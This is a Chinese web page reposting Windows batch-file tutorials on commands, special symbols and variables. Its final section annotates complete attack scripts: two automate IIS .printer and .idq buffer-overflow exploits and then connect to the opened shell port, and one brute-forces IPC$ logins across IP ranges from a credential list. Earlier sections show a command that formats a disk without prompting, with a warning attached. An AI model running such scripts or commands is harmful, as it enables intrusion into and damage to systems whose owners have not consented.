×

批处理命令 批处理命令教程 教程

批处理命令教程?常用的批处理的命令

admin admin 发表于2022-09-03 08:32:47 浏览217 评论0

抢沙发发表评论

本文目录

批处理命令教程


1、echo命令

打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo命令将显示当前回显设置。

语法

echo [{on|off}] [message]

Sample:@echo off / echo hello world

在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用》 》》 ^)结合来实现输入一些命令到特定的文件中,例如:

echo test》test.txt

命令会创建一个名为“test“的文本文件,并将“test“输入到文本文件中。

在批处理文件的开头,通常有:

@echo off

原因是@可以将本行的命令关闭回显,搭配“echo off“就可以不显示“echo off“的回显了。

2、rem命令

注释命令,类似于在C语言中的/*--------*/,它并不会被执行,只是起一个注释的作用,只有在编辑批处理时才会被看到,主要用于方便修改。

:: 也具有rem的功能

但::和rem还是有区别的,当关闭回显时,rem和::后的内容都不会显示。

但是当打开回显时,rem后的内容会显示出来,然而::后的内容仍然不会显示。

Rem [注释内容]

扩展资料

在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。-批处理命令

批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。-教程

参考资料来源:百度百科-批处理文件

参考资料来源:百度百科-批处理


常用的批处理的命令


各位非常批处理的朋友们,现在我们开始学习批处理新手系列教学的第一课!(适合没有编程经验的朋友)
     按照惯例,先讲一下什么是“批处理“.顾名思义,批处理就是把一批或者说是一条条命令放在一个文本里,然后批量执行!执行这
一批命令的文件的扩展名是BAT或者CMD,把任何一批命令放入在有这样扩展名的文件里,执行时里面的命令就会一条条的执行完,当然
我们还可以在其中加入一些逻辑判断的语句,让里面的命令在满足一定条件时执行指定的命令.
     了解了大概意思后,我们正式开始学习.先看一个简单的例子!
     
@echo off
echo “欢迎来到非常BAT!“
pause
把上面的3条命令保存为test.bat或者test.cmd然后执行,他就会在屏幕上显示二行话:“欢迎来到非常BAT!请按任意键继续. . .“
这就是一个简单批处理文件了,我们来分析一下.
这个批处理文件一共就用了2条命令 “echo“ 和“pause“ 还有一个特殊符号“@“
@符号在批处理中的作用是关闭当前行命令的回显,也就是不显示执行的是什么命令,只显示命令的结果!
你可以执行下面这个批处理文件来理解,保存为*.bat或者*.CMD
@echo 你好
echo 你好
@pause
echo命令的作用有两个,一个是在CMD上回显一行内容.如:echo “欢迎来到非常BAT!“,还一个是关闭命令的回显:echo off
echo off的作用就相当于在每条命令前面加一个@符号,这样所有的命令将只会显示结果不显示命令.
我们在echo off这命令前加一个@符号是为了不让echo off这条命令本身显示出来,让批处理更完美!
pause命令就是暂停的意思,防止批处理执行完后直接退出!执行pause命令后会自动在CMD里显示“请按任意键继续. . .“这样一行话!
从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么
在批处理中有多少这样的特殊符号和功能命令呢?我们现在就来仔细了解一下一些最常用的!
(以下内容来源网络,请各位仔细阅读,好进入下节的实例说明)
批处理的常见命令
REM
ECHO
GOTO
CALL
PAUSE
IF
还有(FOR,SETLOCAL,SHIFT)这几个命令比较难,不适合写在基础篇,以后说明!
批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。
这些命令统称批处理命令。
介绍命令
1、REM
REM是个注释命令,一般用来给程序加上注解,该命令后的内容在程序执行时,将不会被显示和执行。
例:REM 这个命令就是注释
这一句将不会被执行
2、ECHO
ECHO是一个回显命令,主要参数有OFF和ON。一般用ECHO MESSAGE来显示一个特定的消息。
例:
Echo off
Rem 以上代表关闭回显(就是不显示所执行的命令)
Echo 这个就是消息(message)
Rem 以上代表显示“这就是消息(message)”这列字符
咱们来看看执行结果:
3、GOTO
GOTO会点编程的朋友就会知道这是跳转的意思。
在批处理中允许以“:XXX”来构建一个标号,然后用GOTO XXX直接来执行标号后的命令。
例:
:lable
REM 上面就是名为LABEL的标号
DIR C:\
DIR D:\
GOTO lable
REM 以上程序跳转标号LABEL处继续执行
咱们来看看结果:
4、CALL
CALL命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后,再继续执行原来的批处理
例:
创建一个2.BAT,内容如下
ECHO 这就是2的内容
创建一个1.BAT,内容如下
ECHO 这是1的内容
CALL 2.BAT
ECHO 1和2的内容全部显示完成。
执行1.BAT,来看看结果:
5、PAUSE
PAUSE,玩游戏的人都知道,暂停的意思
在这里就是停止系统命令的执行并显示下面的内容。
例:
PAUSE
6、IF
IF 条件判断语句,语法格式如下:
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
解释下:
[NOT]:将返回结果取反值,就是“如果没有”的意思
ERRORLEVEL:
是命令执行完成后返回的退出值
Number:
退出值的数字取值范围0~255,判断时值的排列顺序应该由大到小。返回的值大于等于指定的值时,条件成立
string1==string2:
string1和string2都为字符的数据,英文内字符的大小写将看作不同,这个条件中的等于号必须是两个(绝对相等的意思)
条件相等后即执行后面的command
EXIST filename:
为文件或目录存在的意思
IF ERRORLEVEL这个句子必须放在某一个命令的后面,执行命令后由IF ERRORLEVEL 来判断命令的返回值。
例:
(1)
IF [NOT] ERRORLEVEL number command
检测命令执行完后的返回值做出判断
echo off
dir z:
rem 如果退出代码为1(不成功)就跳至标题1处执行
IF ERRORLEVEL 1 goto 1
REM 如果退出代码为0(成功)就跳至标题0处执行
IF ERRORLEVEL 0 goto 0
:0
echo 命令执行成功!
Rem 程序执行完毕跳至标题exit处退出
goto exit
:1
echo 命令执行失败!
Rem 程序执行完毕跳至标题exit处退出
goto exit
:exit
Rem 这里是程序的出口
(2)IF string1==string2 command
检测当前变量的值做出判断
ECHO OFF
IF 1==2 goto no
Echo 变量相等!
goto exit
:no
echo 变量不相等
goto exit
:exit
看看效果,敲击这个命令1.bat 数字
(3)IF [NOT] EXIST filename command
发现特定的文件做出判断
echo off
IF not EXIST autoexec.bat goto 1
echo 文件存在成功!
goto exit
:1
echo 文件不存在失败!
goto exit
:exit
这个批处理大家可以放在C盘和D盘分别执行,看看效果
特殊符号:
1.  @
2.  》
3.  》》
4.  |
5.  ^
6.  &
7.  &&
8.  ““
9.  ,
10. ;
废话少说,开讲了
一、 @
这个字符在批处理中的意思是关闭当前行的回显。我们从前几课知道
ECHO OFF可以关闭掉整个批处理命令的回显,但不能关掉ECHO OFF这个命令,现在我们在ECHO OFF这个命令前加个@,就可以达到所
有命令均不回显的要求
1.bat
echo off
dir d:\
2.bat
@echo off
dir d:\
二、 》
这个字符的意思是传递并且覆盖,他所起的作用是将运行的回显结果传递到后面的范围(后边可以是文件,也可以是默认的系统控
制台)
比如:
文件1.txt 的文件内容是:
1+1
使用命令:dir *.txt 》1.txt
这时候1.txt 内容如下
驱动器 C 中的卷没有标签。
卷的序列号是 3827-1BDD
C:\ 的目录
2004-05-25  00:57        17,755,907 Log.txt
2004-05-26  15:21                 3 1.txt
2004-05-26  15:21                 0 2.txt
               3 个文件     17,755,910 字节
               0 个目录    339,111,936 可用字节
三、》》
这个符号的作用和》有点类似,但他们的区别是》》是传递并在文件的末尾追加,而》是覆盖
用法同上
同样拿1.txt做例子
内容是1+1
使用命令:dir *.txt 》》1.txt
咱们来看看显示的结果如何
四、|
这是一个管道传输命令,意思是将上一命令执行的结果传到下一个命令去处理
例如:
dir c:\|find “txt“
以上命令是:查找C:\所有,并发现TXT字符串。
FIND的功能请用 FIND /? 自行查看
在不使format的自动格式化参数时,我是这样来自动格式化A盘的
echo y|format a: /s /q /v:system
用过format的都知道,再格盘时要输入y来确认是否格盘,这个命令前加上echo y并用|字符来将echo y的结果传给format命令
从而达到自动输入y的目的
(这条命令有危害性,测试时请慎重)
五、^
^是对特殊符号“《“,“》“,“&“的前导字符,在命令中他将以上3个符号的特殊功能去掉,仅仅只把他们当成符号而不使用他们的特殊意
义。
比如
echo test ^》1.txt
结果则是
他没有追加在1.txt里,呵呵。只是显示了出来
六、 &
这个符号允许在一行中使用2个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。
比如:
dir z:\ & dir y:\ & dir c:\
以上命令会连续显示z,y,c盘的内容,不理会该盘是否存在
七、 &&
这个命令和上边的类似,但区别是,第一个命令失败时,后边的命令也不会执行
dir z:\ && dir y:\ && dir c:\
八、““
双引号允许在字符串中包含空格,进入一个特殊目录可以用如下方法
cd “program files“
cd progra~1
cd pro*
以上三种方法都可以进入program files这个目录
九、,
逗号相当于空格,在某些情况下“,”可以用来当做空格使
比如
dir,c:\
十、;
分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回错误报告,但程序还是会
执行。
比如:
dir c:\;d:\e:\;f:\
以上命令相当于
dir c:\
dir d:\
dir e:\
dir f:\
                                   
                  
就说这些了!各位有什么意见请回贴!有什么疑问请到BAT交流区发贴!下一节改进!
-批处理命令

求批处理命令的用法


批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。
1、 REM
REM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。例:
REM 你现在看到的就是注解,这一句将不会被执行。在以后的例子中解释的内容都REM 会放在REM后面。请大家注意。
2、 ECHO
ECHO 是一个回显命令主要参数有OFF和 ON,一般用ECHO message来显示一个特定的消息 。例:
Echo off
Rem 以上代表关闭回显即不显示所执行的命令
Echo 这个就是消息。
Rem 以上代表显示“这就是消息”这列字符
执行结果:
C:\》ECHO.BAT
这个就是消息。
3、 GOTO
GOTO 即为跳转的意思。在批处理中允许以“:XXX”来构建一个标号然后用GOTO :标号直接来执行标号后的命令。例
:LABEL
REM 上面就是名为LABEL的标号。
DIR C:\
DIR D:\
GOTO LABEL
REM 以上程序跳转标号LABEL处继续执行。
4、CALL
CALL 命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。例:
批处理2.BAT内容如下:
ECHO 这就是2的内容
批处理1.BAT内容如下:
ECHO 这是1的内容
CALL 2.BAT
ECHO 1和2的内容全部显示完成
执行结果如下:
C:\》1.BAT
这是1的内容
这就是2的内容
1和2的内容全部显示完成
5、PAUSE
PAUSE 停止系统命令的执行并显示下面的内容。例:
C:\》 PAUSE
请按任意键继续 . . .
6、 IF
IF 条件判断语句,语法格式如下:
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
说明:
[NOT] 将返回的结果取反值即“如果没有”的意思。
ERRORLEVEL 是命令执行完成后返回的退出值
Number 退出值的数字取值范围0~255。判断时值的排列顺序应该又大到小。返回的值大于或等于指定的值时条件成立。
string1==string2 string1和string2都为字符的数据,英文字符的大小写将看做不同,这个条件中的等于号必须是2个(绝对相等),条件想等后即执行后面的 command
EXIST filename 为文件或目录存在的意思。
IF ERRORLEVEL这条语句必须放在某一个命令后面。执行命令后由IF ERRORLEVEL来判断命令的返回值。
例:
1、 IF [NOT] ERRORLEVEL number command
检测命令执行完后的返回值做出判断。
echo off
dir z:
rem 如果退出代码为1(不成功)就跳至标题1处执行
IF ERRORLEVEL 1 goto 1
rem 如果退出代码为0(成功)就跳至标题0处执行
IF ERRORLEVEL 0 goto 0
:0
echo 命令执行成功!
Rem 程序执行完毕跳至标题exit处退出
goto exit
:1
echo 命令执行失败!
Rem 程序执行完毕跳至标题exit处退出
goto exit
:exit
Rem 这里是程序的出口
2、 IF string1==string2 command
检测当前变量的值做出判断
ECHO OFF
IF %1==2 goto no
Echo 变量相等!
Goto exit
:no
echo 变量不相等
goto exit
:exit
大家可以这样看效果 C:\》test.bat 数字
3、 IF [NOT] EXIST filename command
发现特定的文件做出判断
echo off
IF not EXIST autoexec.bat goto 1
echo 文件存在成功!
goto exit
:1
echo 文件不存在失败!
goto exit
:exit
这个批处理大家可以放在c盘和d盘分别执行看看效果。
7、 FOR
FOR这个命令比较特殊是一个循环执行命令的命令,同时FOR的循环里面还可以套用FOR在进行循环。这篇我们介绍基本的用法就不做套用的循环了,后面再来讲解套用的循环。在批处理中FOR的命令如下:
FOR [%%c] IN (set) DO [command] [arguments]
在命令行中命令如下:
FOR [%c] IN (set) DO [command] [arguments]
常用参数:
/L 该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。
/D 如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
/F 从指定的文件中读取数据作为变量
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。m-n格式为一个范围。通过 nth 符号指定 mth。如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset中使用双引号扩起文件名称。
下面来看一个例子:
FOR /F “eol=; tokens=2,3* delims=, “ %i in (myfile.txt) do @echo %i %j %k
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 ’z’ 或’Z’ 的变量。请记住,FOR 变量名分大小写,是通用的;而且,同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:
FOR /F “usebackq delims==“ %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
以下列举一个简单的例子,他将说明参数/L和没有参数的区别:
删除文件1.TXT 2.TXT 3.TXT 4.TXT 5.TXT
例:
ECHO OFF
FOR /L %%F IN (1,1,5) DO DEL %%F.TXT

FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT
以上2条命令执行的结果都是一样的如下:
C:\》DEL 1.TXT
C:\》DEL 2.TXT
C:\》DEL 3.TXT
C:\》DEL 4.TXT
C:\》DEL 5.TXT
8、 SETLOCAL
开始批处理文件中环境改动的本地化操作。在执行 SETLOCAL 之后
所做的环境改动只限于批处理文件。要还原原先的设置,必须执
行 ENDLOCAL。 达到批处理文件结尾时,对于该批处理文件的每个
尚未执行的 SETLOCAL 命令,都会有一个隐含的 ENDLOCAL 被
执行。例:
@ECHO OFF
SET PATH /*察看环境变量PATH
PAUSE
SETLOCAL
SET PATH=E:\TOOLS /*重新设置环境变量PATH
SET PATH
PAUSE
ENDLOCAL
SET PATH
从上例我们可以看到环境变量PATH第1次被显示得时候是系统默认路径。被设置成了E:\TOOLS后显示为E:\TOOLS但当ENDLOCAL后我们可以看到他又被还原成了系统的默认路径。但这个设置只在该批处理运行的时候有作用。当批处理运行完成后环境变量PATH将会还原。
9、 SHIFT
SHIFT命令可以让在命令上的的命令使用超过10个(%0~%9)以上的可替代参数例:
ECHO OFF
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
执行结果如下:
C::\》SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
1 2 3 4 5 6 7 8 9
2 3 4 5 6 7 8 9 10
3 4 5 6 7 8 9 10 11
以上就是基于WIN2000下的9个批处理命令。
第二部分:特殊的符号与批处理
在命令行下有些符号是不允许使用的但有些符号却有着特殊的意义。
1、 符号(@)
@在批处理中的意思是关闭当前行的回显。我们从上面知道用命令echo off可以关掉整个批处理的命令回显但却不能不显示echo off这个命令。现在我们在这个命令前加上@这样echo off这一命令就被@关闭了回显从而达到所有命令均不回显得要求
2、 符号(》)
》的意思是传递并覆盖。他所起的作用是将运行后的回显结果传递到后面的范围(后面可是文件也可是默认的系统控制台)例:
文件1.txt的文件内容为:
1+1
使用命令c:\》dir *.txt 》1.txt
这时候1.txt的内容如下
驱动器 C 中的卷没有标签。
卷的序列号是 301A-1508
C:\ 的目录
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 个文件 18,630,070 字节
0 个目录 1,191,542,784 可用字节
》将命令执行的结�哺橇嗽�嫉奈募�谌荨?
在传递给控制台的时候程序将不会有任何回显(注意:这里的回显跟echo off关掉的回显不是同一概念。Echo off关掉的是输入命令的回显,这里的回显是程序执行中或后的回显)例:
C:\》dir *.txt 》nul
程序将没有任何显示也不会产生任何痕迹。
3、 符号(》》)
符号》》的作用与符号》相似,但他们的区别在于》》是传递并在文件末尾追加》》也可将回显传递给控制台(用法同上)例:
文件1.txt内同为:
1+1
使用命令c:\》dir *.txt 》》1.txt
这时候1.txt的内容如下
1+1
驱动器 C 中的卷没有标签。
卷的序列号是 301A-1508
C:\ 的目录
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 个文件 18,630,070 字节
0 个目录 1,191,542,784 可用字节
》》将命令执行的结果覆加在了原始的文件内容后面。
4、 符号(|)
|是一个管道传输命令意思是将上一命令执行的结果传递给下一命令去处理。例:
C:\》dir c:\|find “1508“
卷的序列号是 301A-1508
以上命令的意思为查找c:\的所有并发现1508字符串。Find的用法请用 find /?自行查看
在不使用format的自动格式化参数的时候我是这样来自动格式化盘片的
echo y|fornat a: /s /q /v:system
用过format命令的人都知道format有一个交互对化过程,要使用者输入y来确定当前的命令是否被执行。在这个命令前加上echo y并用管道传输符|将echo执行的结果y传递给format从而达到手工输入y的目的(这条命令有危害性,测试的时候请谨慎)
5、 符号(^)
^ 是对特殊符号 》 、《、 &、的前导字符。在命令中他将以上的3个符号的特殊动能去掉仅仅只吧他们当成符号而不使用他们的特殊意义。例:
c:\》echo test ^》 1.txt
test 》 1.txt
从上面可以看出并没有把test写入文件1.txt而是将test 》1.txt 当字符串显示了出来。这个符号在远程构建批处理的时候很有效果。
6、 符号(&)
&符号允许在一行中使用2个以上不同的命令,当第一个命令执行失败将不影响第2个命令的执行。例:
c:\》 dir z:\ &dir y:\ &dir c:\
以上的命令将会连续显示z: y: c:盘内的内容不理会该盘符是否存在。
7、 符号(&&)
&&符号也是允许在一行中使用2个以上不同的命令,当第一个命令执行失败后后续的命令将不会再被执行。例:
c:\》 dir z:\ &&dir y:\ &&dir c:\
以上的命令将会提示检查是否存在z:盘如果存在则执行,如果不存在则停止执行所有的后续命令
8、 符号(“ “)
“ “符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例:
c:\》cd “Program Files”
c:\》cd progra~1
c:\》cd pro*
以上方法都可以进入Program Files目录
9、 符号(,)
,符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例:
c:\》dir,c:\
10、 符号(;)
;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例:
DIR C:\;D:\;E:\F:\
以上的命令相当于
DIR C:\
DIR D:\
DIR E:\
DIR F:\
当然还有些特殊的符号但他们的使用范围很小我就不再这里一一的说明了。
第三部分:批处理与变量
在批处理中适当的引用变量将会使你所编制的程序应用面更广。批处理每次能处理的变量从%0~%9共10个。其中%0默认给批处理的文件名使用。除非在使用SHIFT命令后%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一个%0那么结果如下:
C::\》SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
SHIFT.BAT 1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9 10
2 3 4 5 6 7 8 9 10 11
系统是如何区分每个变量的呢,系统区分变量的规则为字符串中间的空格,即只要发现空格就把空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名这时候你需要用上一节特殊符号8中所用的引号将他圈起来。例:
批处理内容为:
ECHO %1
ECHO %2
ECHO %3
输入命令:
C:\》TEST “Program Files” Program Files
Program Files
Program
Files
在一个复杂的批处理中又可能同时使用的变量会超过10个这时候会和系统的规则想冲突那么这个问题怎么解决呢?在系统中还有一种变量称之为环境变量(使用SET命令可以查看当前系统的环境变量)如当前系统目录是%windir%或%SystemRoot%等。当同时使用的参数超过10个的时候,我们可以把某些在后面的程序中还要调用的变量保存为环境变量。具体用法如 SET A=%1 这样我们就命名了一个新的环境变量A 在调用变量A的时候要%A%这样调用,环境变量不受SHIFT命令影响。如果要改变一个环境变量需要重新对其设置才能改变。当然也可以进行变量与变量之间的传递来达到目的。下面我们来看一个例子,批处理如下:
ECHO OFF
SET PASS=%1
SHIFT
SET PASS1=%1
SHIFT
ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %PASS% %PASS1% %9
SET PASS=%PASS1% 变量的传递
SET PASS1=%9
SHIFT
ECHO %PASS% %PASS1% %9
使用命令:C:\》TEST A B 3 4 5 6 7 8 9 10 K L
A B 3 4 5 6 7 8 9 10 K 注意:这一行显示了11个变量
A B L 在使用了3次SHIFT之后%9变成了L
B L 变量的传递后的结果
第四部分:完整案例
以上就是批处理的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理,看看他们是怎么运作的。这里我将列举三个例子来详细分析,为了保持程序的完整我的注释会加在/*后面。
例一
这个例子是利用iis5hack.exe对有.printer漏洞的主机进行溢出的批处理。用到的程序有iis5hack.exe和系统自带的telnet.exe。iis5hack的命令格式为:
iis5hack 《目标ip》 《目标端口》 《目标版本》 《溢出连接端口》目标版本为0-9这10个数字分别对应不同语言版本和sp的系统版本,我们编制的批处理使用的命令格式为 《iis.bat 目标ip (开始版本号)》开始版本号可有可无。程序如下。
@echo off /*关闭命令回显
if “%1%“==““ goto help /*判断%1是否为空,%1为目标ip
if “%2%“==“1“ goto 1 /*判断%2是否为1,为1则跳转标志1
if “%2%“==“2“ goto 2 /*%2为开始版本号,如果没有设置则
if “%2%“==“3“ goto 3 /*如果存在则从匹配的地方开始执行
if “%2%“==“4“ goto 4
if “%2%“==“5“ goto 5
if “%2%“==“6“ goto 6
if “%2%“==“7“ goto 7
if “%2%“==“8“ goto 8
if not EXIST iis5hack.exe goto file /*没有发现iis5hack.exe就执行标志file段内容
ping %1 -n 1 | find “Received = 1“ /*ping目标1次,从结果中发现Received = 1
if errorlevel 1 goto error /*如果返回代码为1则执行error段(代码1为没有发现 0为发现并成功执行)
iis5hack %1 80 9 88 | find “good“ /*开始溢出目标端口80 系统代码9 溢出后连接端口88 在执行结果中发现字符串”good”(溢出成功后才会有字符串good)
if not errorlevel 1 goto telnet /*如果没有错误代码1(溢出成功)就执行telnet段的内容。
echo 操作系统类型 9 失败! /否则显示这一句
:8 /*以下代码内容参照上面
iis5hack %1 80 8 88 | find “good“
if not errorlevel 1 goto telnet
echo 操作系统类型 8 失败!
:7
iis5hack %1 80 7 88 | find “good“
if not errorlevel 1 goto telnet
echo 操作系统类型 7 失败!
:6
iis5hack %1 80 6 88 | find “good“
if not errorlevel 1 goto telnet
echo 操作系统类型 6 失败!
:5
iis5hack %1 80 5 88 | find “good“
if not errorlevel 1 goto telnet
echo 操作系统类型 5 失败!
:4
iis5hack %1 80 4 88 | find “good“
if not errorlevel 1 goto telnet
echo 操作系统类型 4 失败!
:3
iis5hack %1 80 3 88 | find “good“
if not errorlevel 1 goto telnet
echo 操作系统类型 3 失败!
:2
iis5hack %1 80 2 88 | find “good“
if not errorlevel 1 goto telnet
echo 操作系统类型 2 失败!
:1
iis5hack %1 80 1 88 | find “good“
if not errorlevel 1 goto telnet
echo 操作系统类型 1 失败!
:0
iis5hack %1 80 0 88 | find “good“
if not errorlevel 1 goto telnet
echo 操作系统类型 0 失败!
goto error
:telnet
telnet %1 88 /*开始连接目标ip的88端口
goto exit /*连接中断后跳转exit段
:error /*error段显示错误后的帮助信息
echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次!
echo iis5hack [目标IP] [WEB端口] [系统类型] [开放端口]
ECHO 中文: 0
ECHO 中文+sp1: 1
ECHO 英文: 2
ECHO 英文+sp1: 3
ECHO 日语: 4
ECHO 日语+sp1: 5
ECHO 韩文: 6
ECHO 韩文+sp1: 7
ECHO 墨西哥语: 8
ECHO 墨西哥语+sp1: 9
goto exit /*跳转exit段
:file /*file段显示文件没有发现的信息
echo 文件iis5hack.exe没有发现!程序终止运行!
goto exit /*跳转exit段
:help /*help段显示本批处理的使用格式帮助
echo 本程序用法如下:
echo iis [目标ip]
echo iis [目标ip] [开始的号码9-0]
:exit /*exit段为程序出口
这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大!
例二
这个例子是用iisidq.exe对有idq漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe和系统自带的程序telnet.exe。iisidq.exe的用法如下:
运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 《输入命令1》
其中,如果输入命令参数没有输入,那么,默认为:“cmd.exe“。
其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为 《idq.bat 目标ip》程序如下:
@echo off /*同例一
if not EXIST iisidq.exe goto file /*同例一
if %1 == ““ goto error /*同例一
ping %1 -n 1 | find “Received = 1“ /*同例一
if errorlevel 1 goto error1 /*同例一
set b=%1 /*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ip
set a=0 /*创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的循环所以用a来做计数器。
:no /*no段开始
if %a%==0 set d=0 /*如果环境变量a=0则创建环境变量d设定环境变量d=0。
if %a%==1 set d=1 /*环境变量d其实是操作系统类型代码,用计数器来控制其
if %a%==2 set d=2 /*变动。
if %a%==3 set d=3
if %a%==4 set d=4
if %a%==5 set d=5
if %a%==6 set d=6
if %a%==7 set d=7
if %a%==9 set d=9
if %a%==10 set d=13
if %a%==11 set d=14
goto 0 /*变量传递完成后转到标志0处运行
:1
echo 正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候......
:0 /*标志0开始
IISIDQ %d% %b% 80 1 99 |find “good“ /*按格式发送溢出命令并在结果中发现字符串good(发送代码成功才会有字符串good)
if errorlevel 1 goto 1 /*如果没有good字符串则没有发送成跳
/*转标志1处继续尝试发送
ping 127.0.0.1 -n 8 》nul /*ping自己8次相当于延时8秒不显示执
/*行结果
echo 正在执行第%d%项! /*报告正在溢出的操作系统类型
telnet %b% 99 /*连接溢出端口
echo. /*显示一个空行
if %d%==14 goto error1 /*如果操作系统类型为14则跳转error1处(循环出口)
if %d%==13 set a=11 /*开始用计数器对操作系统代码重新附值
if %d%==9 set a=10
if %d%==7 set a=9
if %d%==6 set a=7
if %d%==5 set a=6
if %d%==4 set a=5
if %d%==3 set a=4
if %d%==2 set a=3
if %d%==1 set a=2
if %d%==0 set a=1
goto no /*附值完成跳转no段执行
:file /*以下都是出错后的帮助提示
echo IIsidq.exe没有发现!将该文件和本文件放在同一目录!
goto exit
:error
echo 错误!目标ip不可识别!请使用下面的格式连接!
echo idq [目标IP]
goto exit
:error1
echo 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至!
echo 请按照下面的格式手工尝试!
echo iisidq [目标类型] [目标IP] [目标端口] [连接方式] [溢出端口]
echo telnet [目标ip] [溢出端口]
:exit /*整个程序的出口
这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。
例三
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f “tokens=1,2*“ %%e in (userpass.txt) do net use \\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f
上面的命令为1条命令。大家可以看出该命令使用了4个FOR来套用的。用法为:C:\》TEST.BAT 218 当输入218回车后该命令会由第1个for取初始值0为%%a然后继续取第2个for的初始值0为%%b继续取第3个for的初始值1为%%c最后一个for是将userpass.txt中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令 (这里我把上面的值都带进去,设密码为123 用户名为 abc)
net usr \\218.0.0.1\ipc$ 123 /u:abc
当然上面这个例子可能有些朋友会说太简单并且太死板不灵活。我把这个例子做了些修改(完整文件见光盘ipc.bat)由兴趣的朋友可以自己看看。修改后的程序可以灵活的查找你指定开始到结束或你指定开始到最大ip的范围。当然功能还可以在加强,至于能加强到什么地步能不能成为一个新的工具那就是你的事了。
